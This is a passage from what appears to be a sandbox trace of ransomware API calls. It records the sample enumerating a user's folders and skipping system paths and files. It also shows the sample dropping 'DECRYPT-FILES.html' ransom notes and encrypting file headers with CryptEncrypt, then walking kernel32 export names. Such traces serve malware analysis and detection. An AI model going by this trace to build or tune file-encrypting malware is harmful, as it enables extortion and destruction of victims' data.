[0075.333] CloseHandle (hObject=0x310) returned 1 [0075.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned 50 [0075.334] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*" [0075.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x321f0a8 | out: lpFindFileData=0x321f0a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x918b5950, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918b5950, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66ce98 [0075.334] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.334] FindNextFileW (in: hFindFile=0x66ce98, lpFindFileData=0x321f0a8 | out: lpFindFileData=0x321f0a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x918b5950, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918b5950, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.335] FindNextFileW (in: hFindFile=0x66ce98, lpFindFileData=0x321f0a8 | out: lpFindFileData=0x321f0a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0075.335] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0075.335] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0075.335] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0075.335] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpString2="Acrobat\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch=":\\Windows") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\Program Files") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\Games\\") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.335] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpSrch="\\All Users") returned 0x0 [0075.335] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned 58 [0075.335] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.335] wsprintfW (in: param_1=0x321e60c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\\\wevkgn5.dat") returned 70 [0075.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x424 [0075.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned 58 [0075.350] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.350] wsprintfW (in: param_1=0x321e60c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\\\DECRYPT-FILES.html") returned 77 [0075.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0075.350] WriteFile (in: hFile=0x428, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321e608, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321e608*=0x19ba, lpOverlapped=0x0) returned 1 [0075.352] CloseHandle (hObject=0x428) returned 1 [0075.352] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned 58 [0075.352] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*" [0075.352] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x321ee2c | out: lpFindFileData=0x321ee2c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6adfe8, cFileName=".", cAlternateFileName="")) returned 0x66d2d8 [0075.352] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.352] FindNextFileW (in: hFindFile=0x66d2d8, lpFindFileData=0x321ee2c | out: lpFindFileData=0x321ee2c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6adfe8, cFileName="..", cAlternateFileName="")) returned 1 [0075.352] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.352] FindNextFileW (in: hFindFile=0x66d2d8, lpFindFileData=0x321ee2c | out: lpFindFileData=0x321ee2c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6adfe8, cFileName="10.0", cAlternateFileName="")) returned 1 [0075.352] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0075.352] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0075.352] lstrcatW (in: lpString1="10.0", lpString2="\\" | out: lpString1="10.0\\") returned="10.0\\" [0075.352] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0075.352] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch=":\\Windows") returned 0x0 [0075.352] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\Program Files") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\Games\\") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.353] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpSrch="\\All Users") returned 0x0 [0075.353] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.353] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.353] wsprintfW (in: param_1=0x321e390, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\\\wevkgn5.dat") returned 75 [0075.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x42c [0075.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.357] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.357] wsprintfW (in: param_1=0x321e390, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\\\DECRYPT-FILES.html") returned 82 [0075.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0075.358] WriteFile (in: hFile=0x430, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321e38c, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321e38c*=0x19ba, lpOverlapped=0x0) returned 1 [0075.359] CloseHandle (hObject=0x430) returned 1 [0075.359] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.359] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*" [0075.359] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66d318 [0075.359] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.359] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.360] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.360] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.360] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="DECRYPT-FILES.html") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="autorun.inf") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="boot.ini") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="desktop.ini") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="ntuser.dat") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="iconcache.db") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="bootsect.bak") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="ntuser.dat.log") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="thumbs.db") returned -1 [0075.360] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="Bootfont.bin") returned -1 [0075.360] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.360] lstrlenW (lpString="AdobeCMapFnt10.lst") returned 18 [0075.360] lstrcpyW (in: lpString1=0x321e380, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0075.360] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="AdobeCMapFnt10.lst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" [0075.361] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0075.362] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x321db48 | out: lpFileSize=0x321db48*=35116) returned 1 [0075.362] CreateFileMappingW (hFile=0x434, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x438 [0075.362] MapViewOfFile (hFileMappingObject=0x438, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2f80000 [0075.375] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0075.376] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0075.376] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.377] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fa0000*, pdwDataLen=0x321dab0*=0x28, dwBufLen=0x100 | out: pbData=0x2fa0000*, pdwDataLen=0x321dab0*=0x100) returned 1 [0075.377] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3220000 [0075.379] VirtualFree (lpAddress=0x3220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.379] UnmapViewOfFile (lpBaseAddress=0x2f80000) returned 1 [0075.380] CloseHandle (hObject=0x438) returned 1 [0075.380] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.380] WriteFile (in: hFile=0x434, lpBuffer=0x2fa0000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321dad0, lpOverlapped=0x0 | out: lpBuffer=0x2fa0000*, lpNumberOfBytesWritten=0x321dad0*=0x108, lpOverlapped=0x0) returned 1 [0075.381] CloseHandle (hObject=0x0) returned 0 [0075.381] CloseHandle (hObject=0x434) returned 1 [0075.382] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.383] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.383] GetTickCount () returned 0x20e52 [0075.383] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.383] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0075.383] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.384] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.384] lstrlenA (lpString="kernel32.dll") returned 12 [0075.384] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0075.384] lstrcpyA (in: lpString1=0x321cec8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0075.384] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0075.384] lstrcpyA (in: lpString1=0x321cec8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0075.384] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0075.384] lstrcpyA (in: lpString1=0x321cec8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0075.384] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0075.384] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0075.384] lstrlenA (lpString="ADDATOMA") returned 8 [0075.384] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0075.385] lstrlenA (lpString="ADDATOMW") returned 8 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0075.385] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0075.385] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0075.385] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0075.385] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0075.385] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0075.385] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0075.385] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0075.385] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0075.385] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0075.385] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0075.385] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0075.385] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0075.385] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0075.385] lstrcpyA (in: lpString1=0x321cec8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0075.385] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0075.386] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0075.386] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0075.386] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0075.386] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0075.386] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0075.386] lstrlenA (lpString="BACKUPREAD") returned 10 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0075.386] lstrlenA (lpString="BACKUPSEEK") returned 10 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0075.386] lstrlenA (lpString="BACKUPWRITE") returned 11 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0075.386] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0075.386] lstrcpyA (in: lpString1=0x321cec8, 